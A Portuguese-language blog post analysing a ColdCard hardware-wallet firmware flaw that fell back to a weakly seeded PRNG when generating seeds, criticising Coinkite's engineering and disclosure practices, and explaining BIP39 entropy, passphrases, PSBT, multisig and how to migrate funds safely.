    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, <code>rng_get()</code> apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.</p>
<p>Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre &ldquo;gerar nova wallet&rdquo; e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.</p>
<p>No Mk3, a estimativa preliminar da Coinkite é de cerca de <strong>40 bits de entropia efetiva</strong>, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente <strong>72 bits</strong>. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.</p>
<p>Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas <code>2^40</code> entradas possíveis, no máximo existirão <code>2^40</code> hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.</p>
<p>Isso ficou no caminho mais importante do produto por mais de cinco anos.</p>
<h2>Como uma reescrita de 120 arquivos chegou aqui<span class="hx:absolute hx:-mt-20" id="como-uma-reescrita-de-120-arquivos-chegou-aqui"></span>
    <a href="#como-uma-reescrita-de-120-arquivos-chegou-aqui" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert publicou uma timeline</a> que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.</p>
<p>Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do &ldquo;clone&rdquo; e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.</p>
<p>No dia 1 de março veio o commit <code>First pass w/ libNgU</code>: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.</p>
<p>Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar <code>libsecp256k1</code>, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.</p>
<p>Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.</p>
<h2>Isso foi cisne branco, não cisne negro<span class="hx:absolute hx:-mt-20" id="isso-foi-cisne-branco-não-cisne-negro"></span>
    <a href="#isso-foi-cisne-branco-n%c3%a3o-cisne-negro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Já vi gente chamando o caso de &ldquo;black swan&rdquo;, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.</p>
<p>O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O <code>#ifndef</code> errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.</p>
<p>Um black swan é raro, surpreendente e só parece óbvio depois. Este era um <strong>white swan</strong>: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.</p>
<p>E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.</p>
<p>Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">reportaram responsavelmente uma falha crítica de multisig</a>. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.</p>
<p>A <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">política atual de responsible disclosure</a> continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um &ldquo;we are not here to make it easy for you&rdquo;, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.</p>
<p>Zach Herbert também <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documentou ataques públicos de NVK</a> contra a Foundation depois que ela usou código GPL da ColdCard: &ldquo;pure clone&rdquo;, &ldquo;leeches&rdquo; e &ldquo;affinity scamming&rdquo;. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.</p>
<p>Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.</p>
<p>Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.</p>
<h2>Não, &ldquo;IA quebrou o Bitcoin&rdquo; coisa nenhuma<span class="hx:absolute hx:-mt-20" id="não-ia-quebrou-o-bitcoin-coisa-nenhuma"></span>
    <a href="#n%c3%a3o-ia-quebrou-o-bitcoin-coisa-nenhuma" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A Coinkite escreveu que, como o firmware era público, &ldquo;temos que assumir&rdquo; que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.</p>
<p>Depois, NVK publicou <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">um pedido de desculpas em nome da Coinkite</a>. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.</p>
<p>O problema é que ele terminou tentando transformar o desastre numa &ldquo;realidade sóbria do novo paradigma de IA&rdquo;, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.</p>
<p>Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele <code>#ifndef</code>, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.</p>
<p>Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, <code>secp256k1</code>, SHA-256, BIP39 ou Bitcoin.</p>
<p>O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.</p>
<p>IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.</p>
<h2>O que uma wallet realmente guarda<span class="hx:absolute hx:-mt-20" id="o-que-uma-wallet-realmente-guarda"></span>
    <a href="#o-que-uma-wallet-realmente-guarda" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin não fica &ldquo;dentro&rdquo; da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.</p>
<p>Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva <code>secp256k1</code>. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.</p>
<p>Já expliquei essa base com mais calma em <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1</a> e <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2</a>.</p>
<p>Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.</p>
<p>O <a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.</p>
<h2>Doze ou 24 palavras é a pergunta errada<span class="hx:absolute hx:-mt-20" id="doze-ou-24-palavras-é-a-pergunta-errada"></span>
    <a href="#doze-ou-24-palavras-%c3%a9-a-pergunta-errada" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.</p>
<p>Mas &ldquo;24 palavras&rdquo; não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.</p>
<p>É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou <code>rand()</code> com um timestamp.</p>
<h2>RNG, TRNG e fontes independentes<span class="hx:absolute hx:-mt-20" id="rng-trng-e-fontes-independentes"></span>
    <a href="#rng-trng-e-fontes-independentes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.</p>
<p>TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explica seu processo</a> como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.</p>
<p>Outros projetos preferem combinar fontes. A <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor usa entropia do aparelho e do host</a>. A <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documenta cinco fontes</a>: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.</p>
<p>A palavra que interessa aqui é <strong>independência</strong>. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.</p>
<p>E &ldquo;combinadas corretamente&rdquo; carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.</p>
<h2>Jogar dados não é tão simples<span class="hx:absolute hx:-mt-20" id="jogar-dados-não-é-tão-simples"></span>
    <a href="#jogar-dados-n%c3%a3o-%c3%a9-t%c3%a3o-simples" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Cada jogada de um D6 ideal entrega <code>log2(6)</code>, cerca de 2,585 bits. Por isso aparecem os números <strong>50 jogadas</strong> pra 128 bits e <strong>99 jogadas</strong> pra aproximadamente 256 bits. A <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência</a>. O <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.</p>
<p>Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente &ldquo;rola de novo&rdquo; quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.</p>
<p>Se eu fosse gerar uma seed manual hoje, usaria <strong>dados de precisão, do tipo usado em cassino</strong>, de mais de um fabricante ou lote. A própria <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox recomenda cinco dados casino-grade</a> no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque &ldquo;não misturou direito&rdquo;.</p>
<p>Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras &ldquo;mais aleatórias&rdquo; ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.</p>
<p>Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">as palavras precisam reconstruir exatamente as mesmas chaves</a>. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.</p>
<p>Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>O BTC D00M Guy tem <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">um tutorial visual em português sobre BIP39, dados e teste de restauração</a>. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.</p>
<blockquote>
  <p>As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">documentação do SeedSigner</a> recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.</p>
<p>Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.</p>

</blockquote>
<h2>Passphrase: outra wallet, não outra senha<span class="hx:absolute hx:-mt-20" id="passphrase-outra-wallet-não-outra-senha"></span>
    <a href="#passphrase-outra-wallet-n%c3%a3o-outra-senha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string <code>mnemonic</code> concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra &ldquo;senha incorreta&rdquo;; abre outra wallet, normalmente vazia.</p>
<p>Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.</p>
<p>Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.</p>
<p>Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.</p>
<blockquote>
  <p>No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.</p>

</blockquote>
<h2>Sparrow, air gap e PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gap-e-psbt"></span>
    <a href="#sparrow-air-gap-e-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.</p>
<p>É aí que entra o <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, padronizado no BIP174</a>. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.</p>
<p>O fluxo single-sig air-gapped fica assim:</p>
<ol>
<li>Sparrow monta a transação no computador online.</li>
<li>Você exporta o PSBT por QR ou microSD.</li>
<li>ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.</li>
<li>Você confere na tela do signer e assina.</li>
<li>Sparrow importa o PSBT assinado, finaliza e transmite.</li>
</ol>
<p>Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.</p>
<blockquote>
  <p>E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.</p>

</blockquote>
<h2>Multisig 2-de-3: mais seguro e muito mais burocrático<span class="hx:absolute hx:-mt-20" id="multisig-2-de-3-mais-seguro-e-muito-mais-burocrático"></span>
    <a href="#multisig-2-de-3-mais-seguro-e-muito-mais-burocr%c3%a1tico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, <strong>2-de-3 multisig</strong> com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.</p>
<p>Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.</p>
<p>&ldquo;Independentes&rdquo; de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.</p>
<p>No Sparrow, o procedimento conceitual é:</p>
<ol>
<li>Crie e faça backup de cada seed separadamente.</li>
<li>Exporte de cada signer o fingerprint, derivation path e xpub.</li>
<li>Crie uma wallet <code>Multi Signature</code>, normalmente Native SegWit, com policy 2-de-3.</li>
<li>Importe os três keystores e faça backup do output descriptor da wallet.</li>
<li>Registre quais signers correspondem a quais fingerprints.</li>
<li>Confira um endereço de recebimento em mais de um signer.</li>
<li>Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.</li>
</ol>
<p>O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.</p>
<p>Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.</p>
<p>Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.</p>
<p>Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.</p>
<blockquote>
  <p>Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.</p>

</blockquote>
<p>O <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia de boas práticas do Sparrow</a> recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.</p>
<blockquote>
  <p>Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe &ldquo;trocar uma chave&rdquo; mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.</p>

</blockquote>
<h2>Fulcrum resolve privacidade, não chave fraca<span class="hx:absolute hx:-mt-20" id="fulcrum-resolve-privacidade-não-chave-fraca"></span>
    <a href="#fulcrum-resolve-privacidade-n%c3%a3o-chave-fraca" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.</p>
<p>Mostrei a arquitetura e a instalação em <a href="/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/">Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum</a>. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.</p>
<p>Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.</p>
<h2>Como eu faria a migração hoje<span class="hx:absolute hx:-mt-20" id="como-eu-faria-a-migração-hoje"></span>
    <a href="#como-eu-faria-a-migra%c3%a7%c3%a3o-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:</p>
<ol>
<li><strong>Faça o inventário.</strong> Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.</li>
<li><strong>Considere a seed comprometida.</strong> Não a digite em software online e não aceite &ldquo;checker&rdquo; de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.</li>
<li><strong>Escolha a arquitetura nova.</strong> Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.</li>
<li><strong>Gere entropia nova.</strong> Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.</li>
<li><strong>Faça backup antes de receber.</strong> Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.</li>
<li><strong>Teste restauração.</strong> Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.</li>
<li><strong>Verifique o endereço na tela.</strong> Não confie só no que Sparrow mostra no monitor do computador.</li>
<li><strong>Mande um valor pequeno.</strong> Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.</li>
<li><strong>Mova o restante logo depois.</strong> Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.</li>
<li><strong>Mantenha o backup antigo marcado como comprometido.</strong> Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.</li>
</ol>
<blockquote>
  <p>Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.</p>

</blockquote>
<h2>Então qual hardware wallet eu recomendo?<span class="hx:absolute hx:-mt-20" id="então-qual-hardware-wallet-eu-recomendo"></span>
    <a href="#ent%c3%a3o-qual-hardware-wallet-eu-recomendo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hoje, nenhuma.</p>
<p>Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é <strong>muito difícil</strong>. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.</p>
<p>É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.</p>
<p>Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.</p>
<p>Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.</p>
<blockquote>
  <p><strong>NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante.</strong> Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.</p>

</blockquote>
